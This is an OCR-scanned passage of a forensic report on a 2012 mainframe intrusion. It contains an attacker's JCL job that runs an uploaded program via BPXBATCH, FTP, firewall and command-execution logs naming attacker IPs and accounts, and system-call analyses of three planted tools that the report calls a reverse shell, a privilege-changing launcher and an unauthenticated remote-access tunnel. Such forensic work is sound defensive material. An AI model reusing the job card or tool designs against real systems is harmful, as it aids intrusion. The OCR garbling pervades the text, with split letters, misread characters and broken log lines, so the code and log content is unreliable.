be low) .  Th i s  job that  the perpetraters t r i  ed p rocess on  SY19 wou l d  not ru n du  e to errors i n  the  

job-ca rd . We have no  evidence that  te  perpetraters ma naged to  get  a ny job to ru n .  

I IAV I Y 3 5 6A JOB AVI Y 3 5 6A 

I IA I U S T E P  EXEC P GM=B PXBATCH , 

I l  PARM= ' S H l tmp l a . e nv ' 

I I S T DERR DD PATH= ' I tmp l a . e r r ' ,  

I l  PATHOPT S = ( OWRONLY , OCREAT , OTRUNC ) , 

I l  PATHMODE= ( S I RWXU ) 

I I S T DOUT DD PATH= ' I tmp l a . ou t ' ,  

I l  PATHOPT S = ( OWRONLY , OCREAT , OTRUNC ) , 

I l  PATHMODE= ( S I RWXU ) 

I I S T D I N  DD DUMMY 

Figure 20JCL program to run a .env 

The fi l e  a . env is a a p rogra m up loaded by ftp a nd  then cha nged or  u p loaded servera l more 

t i mes .  For more i n fo, see cha pte r "a .env a . k . a  CSQXDISP" on page 105 for deta i l ed  i nformat ion 

on a . env. 
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The fi le  where up l oaded severa l t imes to the SVS3 part it i on ,  fi rst 3 ti mes i n  ASC I I  mode (which 

tra ns l ates a utomat ica l ly between ASCI I and EBCDIC convers ion )  and then l a st ly in image 

( b i n a ry) mode that does a verbat im,  non-tra ns l ated, u p load .  From the FTP up load log, we ca n 

match the up load  fi l e  s i ze and  ti me  with the fi l e  s ize and  t i me  sta mps of the stored fi l e .  lt 

should be noted that the first two timesta mps i n  each log record a re provid ed in  CET whi le 

last two timesta mps a re provided in  G MT . 

2012-03-20;09 .00.00;2012-03-20-

09.13.54.860000; ?UN KNOWN;SYS3; ; 192 . 16. 143 . 2; 21 ; ; ;STOR;SEQ; N US;A;S; F ;H ;08. 13 .54 

;08 . 13 . 54; 1032;S; ; ; ; FTPD1; DAFAS;93 . 186. 170.54;27722;/tmp/a p 

2012-03-20;09 .00.00;2012-03-20-

09.14.08.970000;?U N KNOWN;SYS3; ; 192 . 16. 143 . 2;21 ; ; ;STOR;SEQ; N U S;A;S; F; H ;08. 14.08 

;08. 14.08; 1032;S; ; ; ; FTPD1; DAFAS;93 . 186. 170. 54;27722;/tm p/ap 

2012-03-20;09 .00.00;2012-03-20-

09.14.29.420000;?U N KN OWN;SVS3; ; 192 . 16. 143 . 2;21 ; ; ;STOR;SEQ; N U S;A;S; F; H ;08 . 14 .29 

;08. 14. 29; 1032;S; ; ; ; FTPD1; DAFAS;93 . 186. 170.54;27722;/va r/a p 

2012-03-20;09 .00.00;2012-03-20-

09.15.07.480000;?U N KN OWN;SYS3; ; 192 . 16 . 143 .2 ;2 1; ; ;STOR;SEQ; N US; I ;S; F ;H ;08. 15 .07; 

08. 15 .07; 110592;5; ; ; ;  FTPD1; DAFAS;93. 186. 170.54; 17098;/tm p/a p 

Figure 21 Excerpt of FTP log to show upload of file " a p" to SYS3 

This  is a com pi l ed b i n a ry that exists on SYS3 with the fo l l owi ng fi le propert ies 

- rwx r - x r - x l B PXDFLTU D 3 8 4  1 1 0 5 9 2 Mar 2 0  0 9 : 1 5 ap 

Figure 22 Fi le metadata for fi le "ap" 

The l atest te i net sess ion  from the fi rewa l l  l ogs : 

date t ime s r  c d s t  l s e rv i c e  l s_p o r t  l a c t i on 
- - - - - - - - - - - - + - - - - - - - - - - + - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - + - - - - - - - - - + - - - - - - - - + - - - - - - - -

2 0 1 2 - 0 3 - 2 3  l 0 4 : 0 9 : 4 4 l 2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  l 1 9 2 . 1 6 . 1 4 3 . 2  l 2 3  1 1 1 0 0  l a c c e p t  

And U N IX com m a n d  l ogs :  

l 23Ma r12 05 :54 DAF5648 TCPFTP2 202 . 120. 189. 223 a p  

The l P  add ress 202 . 120. 189 .223 i s  coded i n  the I BM hexadeci ma l  format 202 . 120. 189 .223 .  
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d a t e  t ime s r  c d s t  
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l s e rv i c e  l s_p o r t  l a c t i o n  
- - - - - - - - - - - - + - - - - - - - - - - + - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - + - - - - - - - - - + - - - - - - - - + - - - - - - - -

2 0 1 2 - 0 3 - 2 3  l 0 5 : 5 4 : 1 9 l 1 9 2 . 1 6 . 1 4 3 . 2  l 1 7 8 . 1 8 . 2 4 3 . 2 5 

U N IX com mand  l ogs : 

23Ma r12 06 : 19 DAF5648 TCPFTP9 202 . 120. 189 .223 a p  

23Ma r12 06 :22 DAF5648 TCPFTP9 202 . 120. 189 .223 a p  

23Ma r12 06 :22  DAF5648 TCPFTP3 202 . 120. 189 .223 a p  

F i rewa l l  l ogs : 

date t ime s r  c d s t  

l 4 4 3  1 5 5 2 3 8  l a c c e p t  

l s e rv i c e  l s_p o r t  l a c t i o n  
- - - - - - - - - - - - + - - - - - - - - - - + - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - + - - - - - - - - - + - - - - - - - - +- - - - - - - -

2 0 1 2 - 0 3 - 2 3  0 6 : 1 9 : 1 4 1 9 2 . 1 6 . 1 4 3 . 2  1 7 8 . 1 8 . 2 4 3 . 2 5 4 4 3  1 5 5 4 0 6  a c c e p t  
2 0 1 2 - 0 3 - 2 3  0 6 : 1 9 : 1 5 1 9 2 . 1 6 . 1 4 3 . 2  1 7 8 . 1 8 . 2 4 3 . 2 5 4 4 3  1 5 5 4 0 7  a c c e p t  
2 0 1 2 - 0 3 - 2 3  0 6 : 2 1 : 0 7 1 9 2 . 1 6 . 1 4 3 . 2  1 7 8 . 1 8 . 2 4 3 . 2 5 4 4 3  1 5 5 4 1 3  a c c e p t  
2 0 1 2 - 0 3 - 2 3  0 6 : 2 1 : 0 9 1 9 2 . 1 6 . 1 4 3 . 2  1 7 8 . 1 8 . 2 4 3 . 2 5 4 4 3  1 5 5 4 1 4  a c c e p t  
2 0 1 2 - 0 3 - 2 3  0 6 : 2 2 : 0 0 1 9 2 . 1 6 . 1 4 3 . 2  1 7 8 . 1 8 . 2 4 3 . 2 5 4 4 3  1 5 5 4 1 5  a c c e p t  
2 0 1 2 - 0 3 - 2 3  0 6 : 2 2 : 0 1 1 9 2 . 1 6 . 1 4 3 . 2  1 7 8 . 1 8 . 2 4 3 . 2 5 4 4 3  1 5 5 4 1 6  a c c e p t  
2 0 1 2 - 0 3 - 2 3  0 6 : 2 2 : 4 9 1 9 2 . 1 6 . 1 4 3 . 2  1 7 8 . 1 8 . 2 4 3 . 2 5 4 4 3  1 5 5 4 1 7  a c c ep t  

F rom the exam i nat ion of  the fi l e content  with too l s  to  fi nd  what  system ca  I l s, l i b ra ry ca  I l s a n d  

sym bo l  ta b le  exists i n  the fi l e  

Exported fu nctions :  

AptAttem pt( )  

AptHand l eA i a rmSig{ )  

AptExec() 

AptFourData ( )  

AptFou rByte ( )  

AptFou rl n it ( )  

Figure 23 symbols exported inside t h e  "ap" - program code written as su broutines 

Funct ions ca l i ed from ma i n ( ) :  

s igna l ( )  

getenv() 
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exit() 

u n l i n k( )  

fork( )  

fc lose( )  

setpgrp( )  

t ime( )  

getu i d ( )  

geteu id ( )  

a l a rm( )  

s leep( )  

sock et( ) 

setsockopt( )  

con nect( )  

c lose( )  

read ( )  

k i l ! ( )  

p i pe ( )  

d up2 ( )  

exec l ( )  

perror( )  

i oct l ( )  

@ @SLCTl( )  

write ( )  

ch d i r( )  

@ @GTOD2( )  

getp id ( )  

setenv() 

stat( )  

o pen ( )  

AptPrevTime( )  

AptCurTi me( )  

Adva nced Pers i stenceSi nceTi me( )  

AptKey() 

AptToPorts ( )  

AptToAddrs ( )  

Figure 2 4  system and l ibrary ca l ls  from the "ap" - progra m 

The a n a lys i s  of th i s  l og ic prov ided by th i s  p rogra m i s thus  that 

• l t  ca n execute other  p rogra ms v ia the fork and  execl co m bi n at ion 

Sidan 9 1  av  574 

Report 

• l t  performs fi l e  operations  such as  read i ng  fi l e  metadata (stat), de lete fi les ( u n i i n k  

system ca l l )  a nd  moves a round  i n  t h e  fi l e  system h ie ra rchy (chd i r) 
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• l t  opens up  a p ipe ( p i pe system ca l l )  to con nect i n put/output from "a p" to a nother  

progra m 
• lt opens up  a n  outbou nd  TCP/ I P com m u n ications  socket (socket, setsackopt and  

con nect) to  be  a c l i e n t  t ha t  connect to  t ha t  other  serve r s i de .  The  sym bo ls  AptToPorts 

and  AptToAddrs a l so give away that the p rogra m takes a rguments to co nnect to 

ce rta i n  ports. 

Th us it i s  be l i eved that this progra m ca n work as same pa rt of a "re mate execution" and  

remote access fra mework. 

We have evidence from the l ogs that the p rogra m "a p" has  been run ned on  at least fou r  

d i ffe rent occat ions .  F rom t h i s  exce rpt from t he  S M F  su btype 30  l ogs (com mand  executio n ) .  l t  i s  

p roven that the softwa re was sta rted seve ra l t i mes du  ri ng the morn ing  of  the 23th of  ma rs 

2012 by the user DAF5648 1ogged i n  from l P  address 202 . 120. 189 . 223 .  

23Ma r12 05 :54 DAF5648 TCP FTP2 202 . 120. 189 .223 a p  

23Ma r12 06 : 19  DAF5648 TCP FTP9 202 . 120. 189 .223 a p  

23Ma r12 06 :22  DAF5648 TCP FTP9 202 . 120. 189 . 223 a p  

23Ma r12 06 :22  DAF5648 TCP FTP3 202 . 120. 189 .223 a p  

Figure 2 5  Excerpt of the SMF subtype 3 0  logs showing that the program "ap" was executed o n  SYS3 

We bel ieve the pu rpose of th i s  com m a n d  is to be network based remote she l l ,  or i nverse she l l ,  

too l .  

Be q 

N o  deta i l ed  i nformat ion was ava i l a bl e  for th i s  fi l e .  We have on ly  seen traces on  fi l e l i st i ngs 

from SV19 for th i s  p rogra m .  

Bes 

The fi l e  "bes" where up loaded to SV19 .  The fo l l owing content was ava i l ab l e  when  we 

perfo rmed a stat ic system ca l l  a n a lys i s  on the fi l e :  

Funct ions ca l led from ma i n ( ) :  

exit( )  

fork( )  

atoi ( )  

setg id ( )  

setu i d ( )  

getu i d ( )  
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getg id ( )  

pr i ntf( ) 

execve( )  

perror( )  
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Figure 26 System and l ibrary ca I ls  performed from the ma in( )  function in the uploaded program "bes" 

The ana lys i s  of th i s  log ic provided by th i s  progra m i s thus that 

• l t  read  the U I D  a nd  G I D  from the cu rrent ly execut ing p rocess 
• l t  set the U I D  and  G I D  from the currently executi ng process 
• l t  ca n execute other  p rogra ms v ia the fork and  execve comb i nat ion 

From exa m i nat ion of str ings in  the b i na ry we a l so conc lude that the stri ng  APT201 1, wh ich  i s  

i nteresti ng, s i nce th i s  str ing i s  someth i ng that reoccu rs many ti mes .  F rom i nformat ion obta i ned 

from the i nvestigati ng pol ice, we have seen this text string used in different ways in log fi/es 

(e. g. beslag. log, toandreas. /og) from the perpetraters own computer. From these logs there i s  

evidence that the perpetrater have h imse lf  a n  user account on h i s  computer ca l i ed ,,APT2011" .  

The fo l l ow ing i s  from the typ 30 SMF logs (command  execution ) :  

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 02 : 29 AVIY356 BPXASA 203 . 176. 141 .205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 02 : 29 AVIY356 BPXASA8 203 . 176. 141 . 205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 02 : 30 AVIY356 BPXASA1 203 . 176. 141 . 205 bes 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 02 : 30 AVIY356 BPXASA9 203 . 176. 141 .205 bes 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 02 :49 AVIY356 BPXASA 203 . 176. 141 .205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 02 :49 AVIY356 BPXASA4 203 . 176. 141 . 205 bes 

U NXCMD .SY19 . FROM0229 .txt : 10Ma r12 04 :57  AVIY356 BPXASA 203 . 176. 141 . 205 bes 

U NXCMD .SY19 . FROM0229.txt : 10Ma r12 04 :57  AVIY356 BPXASA1 203 . 176. 141 .205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 05 :09 AVIY356 BPXASA 203 . 176. 141 .205 bes 

U NXCMD .SY19 . FROM0229.txt : 10Mar12 05 :09 AVIY356 BPXASA8 203 . 176. 141 .205 bes 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 06 :05 AVIY356 BPXASA 203 . 176. 141 .205 bes 

U NXCM D.SY19. FROM0229.txt : 10Mar12 06 :05 AVIY356 BPXASA3 203 . 176. 141 .205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06:06 AVIY356 BPXASA 203 . 176. 141 .205 bes 

U NXCMD .SY19 . FROM0229.txt : 10Ma r12 06 :06 AVIY356 BPXASA 203 . 176. 141 . 205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 :06 AVIY356 BPXASA6 203 . 176. 141 .205 bes 
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U NXCMD.SY19 . FROM0229.txt : 10Ma r12 06 :08 AVIY356 BPXASA3 203 . 176. 141 .205 bes 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 06 :08 AVIY356 BPXASA4 203 . 176. 141 . 205 bes 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 06 :08 AVIY356 BPXASA6 203 . 176 . 141 . 205 bes 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 06 :08 AVIY356 BPXASA7 203 . 176. 141 . 205 bes 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 06 :08 AVIY356 BPXASA9 203 . 176 . 141 .205 bes 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 06 :08 AVIY356 BPXASA1 203 . 176. 141 .205 bes 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 06 :09 AVIY356 BPXASA1 203 . 176. 141 . 205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 :09 AVIY356 BPXASA2 203 . 176. 141. 205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 :09 AVIY356 BPXASA2 203 . 176 . 141 .205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 06 :09 AVIY356 B PXASA3 203 . 176 . 141 . 205 bes 

U N XCMD.SY19 . FROM0229.txt : 10Ma r12 06 :09 AVIY356 BPXASA4 203 . 176. 141 . 205 bes 

U NXCMD.SY19 . FROM0229 .txt : 10Ma r12 06 :09 AVIY356 BPXASA5 203 . 176 . 141 .205 bes 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 06 : 14 AVIY356 BPXASA4 203 . 176 . 141 .205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 : 14 AVIY356 BPXASA5 203 . 176. 141 .205 bes 

U NXCM D.SY19. FROM0229.txt : 10Mar12 06 : 18 AVIY356 BPXASA2 203 . 176. 141 . 205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 : 18 AVIY356 BPXASA3 203 . 176. 141 .205 bes 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 06 : 18 AVIY356 BPXASA5 203 . 176. 141 . 205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 : 18 AVIY356 BPXASA6 203 . 176. 141 . 205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 : 18 AVIY356 BPXASA8 203 . 176. 141 .205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 06 : 18 AVIY356 BPXASA9 203 . 176. 141 . 205 bes 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 06 : 18 AVIY356 BPXASA3 203 . 176 . 141 .205 bes 

U NXCM D.SY19. FROM0229 .txt : 10Mar12 06 : 18 AVIY356 BPXASA4 203 . 176. 141 . 205 bes 

U NXCM D.SY19. FROM0229 .txt : 10Ma r12 06 : 2 1  AVIY356 BPXASA1 203 . 176. 141 .205 bes 

U NXCM D.SY19. FROM0229.txt : 10Mar12 06 : 2 1  AVIY356 BPXASA2 203 . 176. 141 . 205 bes 

U NXCM D.SY19. FROM0229 .txt : 10Mar12 08 : 24 AVIY356 BPXASA 203 . 176. 141 .205 bes 

U N XCMD.SY19. FROM0229 .txt : 10Ma r12 08 : 24 AVIY356 BPXASA6 203 . 176. 141 .205 bes 

U NXCM D.SY19. FROM0229 .txt : 10Mar12 08: 24 AVIY356 BPXASA7 203 . 176. 141 . 205 bes 
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U NXCMD.SY19. FROM0229.txt : 10Ma r12 08 : 24 AVIY356 BPXASA8 203 . 176. 141 .205 bes 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 08 : 54 AVIY991 AVIY9916 192 .71 .4 .33 bes 

U N XCMD.SY19. FROM0229 .txt : 10Ma r12 08 : 54 AVIY991 AVIY9917 192 .71 .4 .33 bes 

U N XCMD.SY19 . FROM0229 .txt : 10Ma r12 08 : 54 AVIY991 AVIY9918 192 . 71 .4 .33 bes 

U NXCMD.SY19 . FROM0229 .txt : 10Ma r12 08 : 54 AVIY991 AVIY991 192 .71 .4 .33 bes 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 08 : 54 AVIY991 AVIY9918 192 .71 .4 .33 bes 

U NXCM D.SY19. FROM0229 .txt : 10Mar12 10:28 AVIY991 AVIY9918 192 .71 .4 .33 bes 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 10:29 AVIY991 AVIY9911 192 .71 .4 .33 bes 

U NXCM D.SY19. FROM0229.txt : 10Mar12 10:29 AVIY991 AVIY9912 192 .71 .4 .33 bes 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 12 :55  AVIY991 AVIY9911 192 .71 .4 .33 bes 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 12 :55  AVIY991 AVIY9912 192 .71 .4 .33 bes 

U NXCM D.SY19. FROM0229.txt : 10Mar12 12 :56  AVIY991 AVIY9919 192 .71 .4 .33  bes 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 12 :56  AVIY991 AVIY9911 192 .71 .4 .33  bes 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 12 :56  AVIY991 AVIY9912 192 .71 .4 .33 bes 

U NXCM D.SY19. FROM0229 .txt : 10Ma r12 12 :56  AVIY991 AVIY9913 192 .71 .4 .33  bes 

Figure 27 log f i les describing the execution of file " bes" on SY19 

D ps 
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One of the centra l p ieces of too l s  d i scovered to be left beh i n d  by the perpetraters i s  a tool 

ca l l ed  11d ps" . This tool was found  on  SY19. Th is tool i s  be l i eved to be used to tu n ne l  network 

traffi c between  the ha cked server a nd  the c l i ent com pute r, maybe eve n tu n ne led in severa l 

hops .  

The fo l l owing content was ava i l ab l e  when we performed a stat ic system ca l l  a n a lys i s  on  the 

fi l e :  

Funct ions ca l l ed from ma i n ( ) :  

fpri ntf( ) 

i net_addr( )  

gethostbyna me( )  

gethostbyadd r( )  

perror( )  

a to l ( )  

socket( ) 

b i nd ( )  
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l i sten { )  

fork{ )  

setsi d { j  

accept{) 

fdopen { )  

_errno{ )  

stre rror{) 

s h utdown{ )  

fc l ose{ )  

wa itp i d { )  

memcpy{) 

con nect{ )  

me m set{) 
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Figure 28 System and l ibra ry ca I ls  performed from the ma in( )  function in the u ploaded program "dps" 

We be l i eve the pu rpose of th i s  command  i s  to be a s imp l e  network server act i ng as a re mate 

acces she l l  tool to a l l ow for an una utenticated entra nce i nta the system .  We see that the too ls  

have been executed from sess ions  esta b l i shed from the fo l l owi ng lP add resses : 

• 203 . 176. 141. 205 (203 . 176 . 141 .205 ) 
• 178 . 18 .243 .27 ( 178. 18 .243 .27)  

Both a re we i l  known add resses used by the pe rpetrato rs .  

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 07 :30 AVIY356 BPXASA 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 07 :32  AVIY356 BPXASA6 203 . 176. 141 .205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 07 :33  AVIY356 BPXASA7 203 . 176. 141 . 205 d ps 

U NXCM D.SY19. FROM0229.txt : 10Mar12 07 : 34 AVIY356 BPXASA8 203 . 176. 141 . 205 d ps 

U NXCMD .SY19 . FROM0229 .txt : 10Ma r12 07 :35  AVIY356 BPXASA9 203 . 176. 141 . 205 d ps 

U NXCMD .SY19 . FROM0229 .txt : 10Mar12 07 :44 AVIY356 BPXASA 203 . 176. 141 .205 d ps 

U NXCM D. SY19 . FROM0229.txt : 10Ma r12 07 :44 AVIY356 BPXASA 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 07 :44 AVIY356 BPXASA 203 . 176. 141. 205 d ps 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 07 :44 AVIY356 BPXASA 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 08:07 AVIY356 BPXASA1 203 . 176 . 141 .205 d ps 

U NXCM D.SY19 . FROM0229.txt : 10Mar12 08 :09 AVIY356 BPXASA8 203 . 176. 141 .205 d ps 

UNXCMD.SY19 . FROM0229 .txt : 10Mar12 08 :09 AVIY356 BPXASA9 203 . 176. 141 .205 d ps 

U N XCMD.SY19 . FROM0229.txt : 10Ma r12 08 : 13 AVIY356 BPXASA1 203 . 176 . 141 . 205 d ps 
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U NXCMD.SY19. FROM0229.txt : 10Mar12 08: 14 AVIY356 BPXASA2 203 . 176 . 141 .205 d ps 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 08 :23  AVIY356 BPXASA 203 . 176. 141 . 205 d ps 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 08 :23  AVIY356 BPXASA 203 . 176 .141 . 205 d ps 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 08 : 24 AVIY356 BPXASA3 203 . 176. 141 . 205 d ps 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 08 :25  AVIY356 BPXASA8 203 . 176. 141 . 205 d ps 

U NXCMD.SY19. FROM0229.txt : 10Mar12 08 :25  AVIY356 BPXASA9 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 08 :29  AVIY356 BPXASA2 203 . 176 . 141 . 205 d ps 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 08: 34 AVIY356 BPXASA4 203 . 176. 141 . 205 d ps 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 08: 34 AVIY356 BPXASA6 203 . 176. 141 . 205 d ps 

U NXCMD.SY19. FROM0229.txt : 10Ma r12 08 :35  AVIY356 BPXASA1 203 . 176 . 141 . 205 d ps 

U NXCMD.SY19 . FROM0229.txt : 10Ma r12 08 :35  AVIY356 BPXASA5 203 . 176. 141.205 d ps 

U NXCMD.SY19 . FROM0229.txt : 10Ma r12 08 :35  AVIY356 BPXASA2 203 . 176. 141. 205 d ps 

U NXCMD.SY19 . FROM0229.txt : 10Ma r12 08 :35  AVIY356 B PXASA7 203 . 176 . 141 .205 d ps 

U NXCMD.SY19 . FROM0229.txt : 10Ma r12 08 :36  AVIY356 BPXASA 203 . 176. 141. 205 d ps 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 08 :36  AVIY356 BPXASA 203 . 176. 141 . 205 d ps 

U NXCM D.SY19. FROM0229.txt : 10Mar12 08 :36  AVIY356 BPXASA7 203 . 176. 141 .205 d ps 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 08 : 52  AVIY356 BPXASA 203 . 176. 141 . 205 d ps 

U NXCMD.SY19 . FROM0229.txt : 10Ma r12 08 :52  AVIY356 BPXASA6 203 . 176. 141 .205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 08 :53  AVIY356 BPXASA7 203 . 176. 141 . 205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Ma r12 08 : 54 AVIY356 BPXASA8 203 . 176. 141 .205 d ps 

U NXCMD.SY19 . FROM0229.txt : 10Ma r12 08 :55  AVIY356 BPXASA5 203 . 176. 141 . 205 d ps 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 08 :56  AVIY356 BPXASA5 203 . 176. 141 . 205 d ps 

U NXCMD.SY19 . FROM0229.txt : 10Ma r12 09 : 1 1  AVIY356 BPXASA1 203 . 176. 141 . 205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Ma r12 10 :44 AVIY356 BPXASA4 203 . 176. 141 . 205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Mar12 11 :02 AVIY356 BPXASA5 203 . 176. 141 .205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 1 1 : 02 AVIY356 BPXASA6 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 1 1 : 17 AVIY356 BPXASA7 203 . 176. 141 . 205 d ps 
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U NXCMD.SY19 . FROM0229 .txt : 10Ma r12 11 :46 AVIY356 BPXASA8 203 . 176 . 141 . 205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Ma r12 11 :46 AVIY356 BPXASA9 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229.txt : 10Ma r12 11 :46 AVIY356 BPXASA1 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 11 :46 AVIY356 BPXASA2 203 . 176 . 141 . 205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Mar12 12 :09 AVIY356 BPXASA4 203 . 176. 141 . 205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Mar12 17 :00 AVIY356 BPXASA3 203 . 176 . 141 . 205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Ma r12 17 :00 AVIY356 BPXASA9 203 . 176. 141 .205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Mar12 17 : 18 AVIY356 B PXASA2 203 . 176 . 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 19 : 16 AVIY356 BPXASA3 203 . 176. 141 .205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 19 : 16 AVIY356 BPXASA4 203 . 176 . 141 .205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Ma r12 19 : 17 AVIY356 BPXASA5 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 19 : 18 AVIY356 BPXASA6 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 19 : 18 AVIY356 BPXASA7 203 . 176 . 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12 19 : 18 AVIY356 BPXASA8 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229.txt : 10Mar12  19 : 18 AVIY356 BPXASA9 203 . 176 . 141 .205 d ps 

U NXCMD.SY19 . FROM0229.txt : 10Ma r12 19 : 19 AVIY356 BPXASA1 203 . 176. 141 . 205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Mar12  19 :20 AVIY356 BPXASA5 203 . 176. 141 . 205 d ps 

U NXCMD.SY19. FROM0229 .txt : 10Ma r12 19 : 2 1  AVIY356 BPXASA6 203 . 176 . 141 .205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Ma r12 19 :22  AVIY356 BPXASA7 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . F ROM0229 .txt : 10Mar12 19 : 24 AVIY356 BPXASA2 203 . 176. 141 .205 d ps 

U NXCMD.SY19 . FROM0229 .txt : 10Mar12  19 :26 AVIY356 BPXASA3 203 . 176. 141 . 205 d ps 

U NXCM D.SY19 . FROM0229 .txt : 10Mar12  20:06 AVIY356 BPXASA5 203 . 176. 141 .205 d ps 

U NXCM D.SY19 . FROM0229.txt : 10Mar12  20 :06 AVIY356 BPXASA7 203 . 176. 141 .205 d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 18 S U P ERUSR  TN3270 178. 18. 243 . 27 d ps 

U NXCM D.SY19 . F ROM0313 .txt : 1 5Mar12 19 : 18 S U P ERUSR  TN32708 178. 18. 243 . 27 d ps 
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U NXCM D.SY19. FROM03 13 .txt: 15Ma r12 19 : 19 S U P ERUSR TN32709 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 19 :24 SUPERUSR TN32701 178 . 18 .243 . 27 d ps 

U NXCM D.SY19. FROM0313 .txt : 15Ma r12 19 :26 S U P ERUSR TN32702 178. 18. 243 . 27 d ps 

U NXCM D.SY19. FROM0313 .txt : 15Ma r12 19 : 28 S U PERUSR TN32703 178 . 18 .243 . 27 d ps 

U NXCM D.SY19. FROM0313 .txt : 15Ma r12 19 :32 SU PERUSR TN32704 178. 18.243 .27  d ps 

U NXCM D.SY19. FROM0313 .txt : 15Ma r12 19 :34 SU PERUSR TN32705 178. 18 .243 . 27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :37 SUPERUSR TN32706 178. 18 .243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 : 51  S U P ERUSR TN32707 178 . 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 20 : 15 S U PERUSR TN3270 178 . 18 .243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 20 : 15 SU PERUSR  TN32708 178 . 18 .243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 20: 16 S U PERUSR TN32709 178. 18 .243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 20 : 16 S U P ERUSR TN32701 178 . 18 .243 .27 d ps 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 20: 16 S U P ERUSR TN 32702 178 . 18 .243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 20: 18 S U P ERUSR  TN32703 178 . 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 20:20 S U P ERUSR TN3270 178. 18 .243 . 27 d ps 

